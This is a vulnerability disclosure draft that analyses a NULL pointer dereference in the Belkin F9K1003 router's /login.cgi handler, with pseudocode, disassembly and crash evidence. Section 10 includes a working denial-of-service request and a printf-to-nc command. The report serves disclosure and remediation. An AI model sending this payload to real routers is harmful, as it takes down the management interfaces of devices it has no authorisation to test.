Belkin F9K1003 v1 Firmware 1.00.42 `/login.cgi` NULL Pointer Denial of Service

1. Document Status

Item	Value
Status	Technical draft for CVE submission
Vulnerability class	Unauthenticated remote denial of service
Weakness	CWE-476: NULL Pointer Dereference
Vendor	Belkin
Affected hardware	Belkin F9K1003 v1 (N450 Wireless Router)
Affected firmware	1.00.42
Affected component	`/usr/sbin/httpd`
Affected endpoint	`/login.cgi`
Privileges required	None
User interaction	None

Proposed vulnerability title:

> Belkin F9K1003 v1 firmware 1.00.42 `/login.cgi` missing `pws` parameter leads to NULL pointer dereference and denial of service

2. Summary

The built-in HTTP server `/usr/sbin/httpd` in Belkin F9K1003 v1 firmware 1.00.42 does not validate the presence of the required login parameter `pws` while processing `POST /login.cgi`.

When an attacker sends a login request without both `usr` and `pws`:

1. `get_cgi("usr")` returns `NULL`.
2. The firmware obtains the first configured account name through `user_name(0)`.
3. `get_cgi("pws")` also returns `NULL`.
4. The firmware does not validate the NULL password pointer and calls `user_login(peer_ip, username, NULL)`.
5. `user_login()` compares the selected username with the same first account record. The comparison is necessarily equal.
6. The firmware then calls `strcmp(NULL, stored_password_hash)`.
7. The target `libc.so.0!strcmp` immediately reads the first argument string and accesses address `0`.
8. The process receives `SIGSEGV` and terminates, making the HTTP management service unavailable.

The crash occurs before the normal “wrong password” response can be returned. The issue is therefore not a graceful authentication failure; it is a NULL pointer dereference caused by a missing authentication parameter.

3. Firmware Identification

3.1 Firmware Image

Item	Value
Filename	`F9K1003_WW_1.00.42.bin`
SHA-256	`8b9454133aff13a1def40a8ef920e6a9acea95bfb2f5c01b71cc5414ce27f11e`
Image type	U-Boot uImage
Image name	`N450F9K1003VB`
Architecture	MIPS32 little-endian
File system	SquashFS 3.0
Build date	2011-07-07

3.2 Affected Program

Item	Value
Path	`/usr/sbin/httpd`
Type	ELF32 MIPS little-endian executable
Dynamic loader	`/lib/ld-uClibc.so.0`
SHA-256	`be3e87d8cbd5e17d1c5d74d8e7bba81fa74ae37de5b32c429db9d729c4eea19b`
Image base	`0x00400000`

The `httpd` binary contains the following vulnerable-path strings:

```
usr
pws
GO
%s login success
%s login fail, wrong password
%s login fail, duplicate administrator
```

The firmware login page `fs/www/login.htm` submits only:

```
pws
GO
```

The username is selected by the firmware, so the normal login page does not send `usr`. This demonstrates that the absence of `usr` is an expected path and must be handled safely by the login handler.

4. HTTP Routing

The `login.cgi` entry in `httpd`'s MIME/script dispatch table is located at data address `0x0044D370`. Its handler is:

```
0x004099E0
```

The handler is reachable before login and does not require an existing authenticated session. The vulnerability can therefore be triggered by an unauthenticated remote request.

For readability, this function can be named:

```
int login_cgi_handler(char *request_path, connection_t *conn);
```

5. Request Body Parsing

The login handler first calls:

```
sub_408724(post_buf, conn->content_length, conn);
```

This function reads the HTTP request body into the global `post_buf` buffer and then invokes:

```
init_cgi(post_buf);
```

`init_cgi()` splits form parameters on `&` and `;` and creates a CGI parameter hash table.

The lookup function `get_cgi()` is located at `0x00402298`. It explicitly returns zero when a parameter does not exist:

```
void *get_cgi(const char *name)
{
    ENTRY item;
    ENTRY *found;

    if (!cgi_table_initialized)
        return NULL;

    if (!hsearch_r(..., &found, ...))
        return NULL;

    return found->data;
}
```

For absent parameters:

```
get_cgi("usr") == NULL
get_cgi("pws") == NULL
```

The value is a NULL pointer, not an empty string.

6. Call Chain

```
POST /login.cgi
    |
    v
login_cgi_handler() @ 0x004099E0
    |
    v
get_cgi("usr") -> NULL
    |
    v
usr = user_name(0)
    |
    v
get_cgi("pws") -> NULL
    |
    v
user_login(peer_ip, user_name(0), NULL) @ 0x00406554
    |
    v
strcmp(user_name(0), userinfo[0].name)
    |
    v
strcmp(NULL, userinfo[0].password_hash)
    |
    v
libc strcmp reads address 0
    |
    v
SIGSEGV
```

7. IDA Pseudocode

7.1 `/login.cgi` Handler

The decompiled logic at `0x004099E0` can be summarized as:

```
int login_cgi_handler(char *request_path, connection_t *conn)
{
    char *usr;
    char *pws;
    char *go;
    int result;

    read_post_body(post_buf, conn->content_length, conn);
    init_cgi(post_buf);

    usr = get_cgi("usr");
    if (usr != NULL) {
        pws = get_cgi("pws");
        go  = get_cgi("GO");
    } else {
        /*
         * The normal login page does not submit "usr".
         * The handler therefore defaults to the first account.
         */
        usr = (char *)user_name(0);
        pws = get_cgi("pws");
        go  = get_cgi("GO");

        /*
         * This rejects only the case where both pointers are NULL.
         * If usr is non-NULL and pws is NULL, execution continues.
         */
        if (usr == NULL && pws == NULL) {
            result = -2;
            goto send_error;
        }
    }

    result = user_login(conn->peer_ip, usr, pws);
    if (result != 0)
        goto send_error;

    if (go == NULL || *go == '\0') {
        result = -2;
        goto send_error;
    }

    send_redirect(conn, go);
    return init_cgi(NULL);

send_error:
    send_redirect(conn, get_autherr_page(result));
    return init_cgi(NULL);
}
```

The critical flaw is:

```
if (usr == NULL && pws == NULL)
```

The handler rejects only the case in which both values are NULL. If the default username is non-NULL, a NULL `pws` does not enter the error branch.

7.2 `user_name()`

`user_name()` is located at `0x00403C00`:

```
const char *user_name(unsigned int index)
{
    if (index < 2)
        return userinfo[index].name;
    return userinfo[0].name;
}
```

Consequently:

```
usr = user_name(0);
```

returns the same account-name pointer later read by `user_login()` as `userinfo[0].name`.

The first comparison:

```
strcmp(usr, userinfo[0].name)
```

therefore compares the same string and necessarily returns zero. The flaw does not depend on the configured username being `admin`, and the attacker does not need to know the username.

7.3 `user_login()`

`user_login()` is located at `0x00406554`. Its logic can be represented as:

```
int user_login(char *peer_ip, char *username, char *password)
{
    if (user_islogin(peer_ip, 0) < 0) {
        int i = 0;
        const user_record_t *user = userinfo;

        do {
            if (strcmp(username, user->name) == 0) {
                i++;

                /*
                 * password can be NULL.
                 * No validation is performed here.
                 */
                if (strcmp(password, user->password_hash) == 0) {
                    user->login_ip = inet_addr(peer_ip);
                    user->login_time = time(NULL);
                    user->login_state = 0;
                    syslog(LOG_INFO, "%s login success", peer_ip);
                    return 0;
                }
            } else {
                i++;
            }

            user++;
        } while (i != 2);

        syslog(LOG_INFO, "%s login fail, wrong password", peer_ip);
        return -2;
    }

    return 0;
}
```

The relevant second `strcmp()` call is at `0x00406664`:

```
00406654  la   $t9, strcmp
00406658  bnez $v0, ...
0040665C  move $a0, $s3      ; $s3 = password
00406660  lw   $a1, 4($s0)   ; stored password hash
00406664  jalr $t9
00406668  nop
0040666C  ...                ; normal return address
```

When `pws` is absent:

```
$s3 = $a0 = 0
```

The firmware then executes:

```
strcmp(NULL, stored_password_hash);
```

7.4 Behavior of `strcmp()`

The firmware includes uClibc as `/lib/libc.so.0`. Its `strcmp()` is located at address `0x0004EC20`, beginning with:

```
0004EC20  lbu  v1, 0(a0)
0004EC24  lbu  v0, 0(a1)
```

`strcmp()` does not check for NULL. With `a0 == 0`, the first instruction reads address zero, raises a user-space memory fault, and the process is terminated with `SIGSEGV`.

This is a classic NULL pointer dereference, not a normal password comparison.

8. Stack Frame and Register Layout

The following frame maps are derived from the MIPS function prologues and the captured fault state. Offsets are relative to each function's `$sp` after its frame has been allocated.

8.1 `login_cgi_handler()` frame

`login_cgi_handler()` at `0x004099E0` allocates `0x30` bytes:

Offset	Saved value
`+0x00` .. `+0x17`	Local scratch space
`+0x10`	Saved global pointer (`$gp`)
`+0x18`	Saved `$s0` ; holds `GO`
`+0x1C`	Saved `$s1` ; holds `usr`
`+0x20`	Saved `$s2` ; holds `pws`
`+0x24`	Saved `$s3` ; connection pointer
`+0x28`	Saved return address (`$ra`)
`+0x30`	Caller stack argument/request-path slot

The vulnerable state is:

```
$s1 = usr = user_name(0)  (non-NULL)
$s2 = pws = NULL
```

8.2 `user_login()` frame

`user_login()` at `0x00406554` allocates `0x40` bytes:

Offset	Saved value or local
`+0x10`	Saved `$gp`
`+0x18`	`time_t timer` local
`+0x20`	Saved `$s0`; account-record pointer
`+0x24`	Saved `$s1`; account-loop counter
`+0x28`	Saved `$s2`; loop bound, value `2`
`+0x2C`	Saved `$s3`; password pointer
`+0x30`	Saved `$s4`; username pointer
`+0x34`	Saved `$s5`; peer-IP pointer
`+0x38`	Saved `$s6`; base `userinfo` pointer
`+0x3C`	Saved return address (`$ra`)

In the vulnerable path:

```
$s3 = password = 0
$s0 = &userinfo[0]
```

At `0x00406664`, the delayed nature of MIPS control transfer means execution resumes at `0x0040666C` if the callee returns. The fault state contains `0x0040666C` on the active call stack, directly identifying the second `strcmp()` in `user_login()`.

8.3 `strcmp()` frame

The firmware uClibc `strcmp()` at `0x0004EC20` does not allocate a stack frame. It immediately loads bytes through both pointer arguments:

```
0004EC20  lbu  v1, 0(a0)
0004EC24  lbu  v0, 0(a1)
```

With `a0 == 0`, the load raises an address fault before any comparison result can be returned.

8.4 Captured register layout

Two independent diagnostic runs produced the same fault characteristics. In the diagnostic binary, a string-comparison wrapper interposes `strcmp()` but implements the same byte-comparison behavior as the firmware uClibc function. The wrapper therefore relocates the displayed fault PC without changing the source-level failure:

Register	Value	Meaning
`$pc` / `$epc`	`0x77fd8d14`	Wrapper byte load `lbu v1,0(s4)`
`$ra`	`0x77fd8f08`	Return into `libinject_strcmp`
`$a0`	`0`	NULL password argument
`$a1`	`0x00454040`	Stored password hash
`$s1` / `$s4`	`0`	First compared pointer became zero
`$s2`	`0x00454040`	Second compared pointer
`$sp`	`0x7fffc498`	Diagnostic call frame

The value `0x0040666C` is present at `$sp + 0x44`, corroborating the `user_login()` caller. This is a deterministic pointer and control-flow fault, not a corrupted return address.

9. Trigger Conditions

The minimum requirements are:

> 1. The HTTP request targets /login.cgi.
> 2. The request method is POST.
> 3. The request body does not contain the usr parameter.
> 4. The request body does not contain the pws parameter.
> 5. The requesting source IP does not already have a matching logged-in session.

The absence of `usr` is not unusual; the normal login page does not send it.

If the same source IP already has a logged-in session, `user_islogin()` may return success before the vulnerable password comparison. The most reliable PoC therefore uses a new source IP, waits for session expiration, or starts from a device state without an existing login session.

10. PoC

9.1 Deterministic HTTP Request

Replace `<router-ip>` with the management-interface address:

```
POST /login.cgi HTTP/1.1
Host: <router-ip>
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Accept: */*
Connection: close

username=FUZZ&password=FUZZ
```

No `Authorization` header, cookie, or existing session is required. `username` and `password` are not fields queried by the firmware, so the request does not contain `usr` or `pws`.

9.2 Why It Triggers

The non-empty request body ensures that the CGI parameter table is initialized normally while omitting every parameter used by the login handler:

```
usr
pws
GO
```

Because neither `usr` nor `pws` is present, `user_name(0)` supplies the default username while the password remains `NULL`, reaching the NULL dereference path.

9.3 Generic Transmission Command

In an authorized network test environment:

```
printf 'POST /login.cgi HTTP/1.1\r\nHost: <router-ip>\r\nContent-Type: application/x-www-
form-urlencoded\r\nContent-Length: 27\r\nConnection:
close\r\n\r\nusername=FUZZ&password=FUZZ' \
  | nc <router-ip> 80
```

11. Expected Behavior and Impact

Sending the PoC may result in one or more of the following:

- the TCP connection closes without a valid HTTP response;
- `httpd` receives `SIGSEGV` and terminates;
- the router web-management interface becomes unavailable;
- the shell, LEDs, and other unrelated services do not necessarily stop;
- a watchdog or health-monitor process may restart `httpd` or the device;
- repeated requests can maintain an outage until recovery occurs.

The direct security impact is availability loss. Code review did not identify attacker-controlled writes, return-address corruption, or evidence of code execution. The issue should not currently be described as a buffer overflow or RCE.

12. Reproducibility and Differential Analysis

12.1 Reproducibility observations

Two independent crash captures were compared:

Observation	Capture A	Capture B
Process	`httpd`	`httpd`
Signal	`SIGSEGV` (11)	`SIGSEGV` (11)
Faulting instruction	byte load from NULL	byte load from NULL
Displayed PC	`0x77fd8d14`	`0x77fd8d14`
Return into comparison wrapper	`0x77fd8f08`	`0x77fd8f08`
Caller return preserved on stack	`0x0040666C`	`0x0040666C`
Password argument `$a0`	`0`	`0`
Saved password register `$s3`	`0`	`0`

The crashes differ only in non-causal stale/register values. The signal, faulting operation, NULL password argument, and `user_login()+0x118` continuation address are identical.

12.2 Input differential

Request characteristic	Result
`usr` absent, `pws` absent	Reaches `strcmp(NULL, hash)` and faults
`usr` absent, `pws` present as a non-NULL string	Performs a normal string comparison and returns an authentication result
`usr` absent, parameter name `username` supplied	`username` is ignored; path is equivalent to `usr` absent
`usr` absent, parameter name `password` supplied	`password` is ignored; `pws` remains absent

The critical differential is therefore the presence of a non-NULL `pws` pointer, not the value of `username`, `password`, or the contents of `FUZZ`.

12.3 Why the crash is deterministic

When `usr` is absent:

```
usr = user_name(0);
```

Later, `user_login()` compares:

```
strcmp(usr, userinfo[0].name);
```

Both expressions resolve to the same first-account name. The first comparison therefore always succeeds without requiring knowledge of the account name. Control then reaches the second comparison with the independently supplied `pws` argument. If `pws` is NULL, the fault is deterministic.

12.4 Reproducibility boundary

An existing logged-in session for the same source IP can cause `user_islogin()` to return success before the credential loop. For a reliable test, use a fresh source IP, wait for session expiry, or test from a state without a matching login.

13. Root Cause

There are two consecutive defects:

1. The `/login.cgi` handler does not treat a missing `pws` as an authentication failure.
2. `user_login()` does not validate the password pointer before calling `strcmp()`.

The handler's check:

```
if (usr == NULL && pws == NULL)
```

handles only the case in which both values are NULL. Because `usr = user_name(0)` is normally non-NULL, `pws == NULL` does not enter the error branch.

A safe implementation must reject a missing password before calling `user_login()`:

```
pws = get_cgi("pws");
if (pws == NULL)
    return authentication_failed();
```

Alternatively, `user_login()` should begin with:

```
if (username == NULL || password == NULL)
    return -2;
```

14. Security Impact

Dimension	Assessment
Attack precondition	Network access to the management web port
Authentication	Not required
User interaction	Not required
Remote exploitation	Yes
Impact	`httpd` termination and management-plane denial of service
Data disclosure	None identified
Configuration modification	None identified
Code execution	None identified
Persistence	The direct flaw is not persistent; recovery depends on watchdog/restart policy

15. Captured Crash Evidence

The evidence archive contains:

File	Purpose
`core_17/core_httpd.684`	First complete MIPS core dump
`core_18/core_httpd.684`	Second complete MIPS core dump
`core_17/gdb_session.log`	Symbol resolution, registers, faulting instructions, stack words
`core_18/gdb_session.log`	Independent GDB session
`core_17/crash_registers.yaml`	Raw register capture
`core_18/crash_registers.yaml`	Raw register capture from the second run
`core_17/crashes.yaml`	Signal and PC summary
`core_18/crashes.yaml`	Signal and PC summary
`core_.log` *and* `core_` `.txt`	Core notes, mappings, and execution metadata
`mda_disassembly.txt`	Original firmware `libc.so.0!strcmp` disassembly
`gdb_crash_summary.png`	Rendered summary of the captured GDB fault state
`SHA256SUMS.txt`	Integrity hashes for all evidence files

The diagnostic core shows the interposed comparison wrapper, while the static firmware library disassembly proves that the original uClibc `strcmp()` also reads through `a0` without checking for NULL.

16. CVE Duplicate Check

Search cutoff date: **2026-10-27**.

Results:

1. An NVD keyword search for `F9K1003` returned **zero** records.
2. An NVD search for `Belkin login.cgi` returned only CVE-2014-1635.
3. `CVE-2014-1635` affects the Belkin N750 (F9K1103) and describes a stack overflow in the `login.cgi` `jump` parameter. It is unrelated to F9K1003, the missing `pws` parameter, and NULL dereference.
4. `CVE-2012-4366` mentions Belkin N450 but specifically identifies F9K1105V2 and predictable default WPA2 passphrases. It is unrelated to this firmware and vulnerability mechanism.
5. None of the 105 Belkin-related CVE records returned by NVD mention F9K1003 or a `pws` parameter condition.
6. No Belkin F9K1003 entry was found in CISA KEV.
7. No public PoC for this specific trigger was found in ordinary search engines, Exploit-DB, or public code indexes.

Current best-supported conclusion:

> As of 2026-10-27, no public CVE or public exploitation record was found that matches `Belkin F9K1003 v1 firmware 1.00.42 /login.cgi missing pws NULL dereference`. The issue is a reasonable CVE candidate.

Limitations:

- CNVD/CNNVD online searches were not available during this research because of network-access restrictions, so their authoritative databases could not be conclusively searched.
- Public sources cannot prove that the issue was never discovered privately.
- A final CNVD/CNNVD duplicate check should be performed from a network with reliable access before submission.

17. Proposed CVE Description

> Belkin F9K1003 v1 firmware 1.00.42 contains a NULL pointer dereference in the `/login.cgi` handler of `/usr/sbin/httpd`. When an unauthenticated POST request omits both the `usr` and `pws` parameters, the handler substitutes the first configured account name for `usr` but passes a NULL password to `user_login()`. The function then calls `strcmp(NULL, stored_password_hash)`, causing a SIGSEGV and terminating the HTTP management service.

18. Key Addresses

Address	Meaning
`0x00402298`	`get_cgi()` ; returns `NULL` for a missing parameter
`0x00403C00`	`user_name()` ; returns an account name
`0x00406554`	`user_login()`
`0x00406664`	Second `strcmp()` call
`0x0040666C`	Normal return location after the second `strcmp()`
`0x00408724`	HTTP POST body reader and CGI initialization
`0x004099E0`	`/login.cgi` handler
`0x00409AB0`	`/login.cgi` call to `user_login()`
`0x0044D370`	`login.cgi` MIME/script dispatch entry
`0x0044D8C4`	Default empty-string storage used when user configuration is absent
`0x0004EC20`	uClibc `strcmp()`

19. Disclosure Recommendations

A CVE submission should include:

- the exact firmware filename and SHA-256;
- the affected `httpd` SHA-256;
- the `/login.cgi` call chain and IDA addresses;
- the `POST /login.cgi` request omitting `usr` and `pws`;
- evidence that a missing `pws` reaches `strcmp(NULL, ...)`;
- the unauthenticated management-plane denial-of-service impact;
- a comparison against `CVE-2014-1635` and `CVE-2012-4366`;
- the limitation that an authoritative CNVD/CNNVD search was not completed.

Before vendor coordination and CVE assignment, the issue should not be described as a confirmed world-first discovery.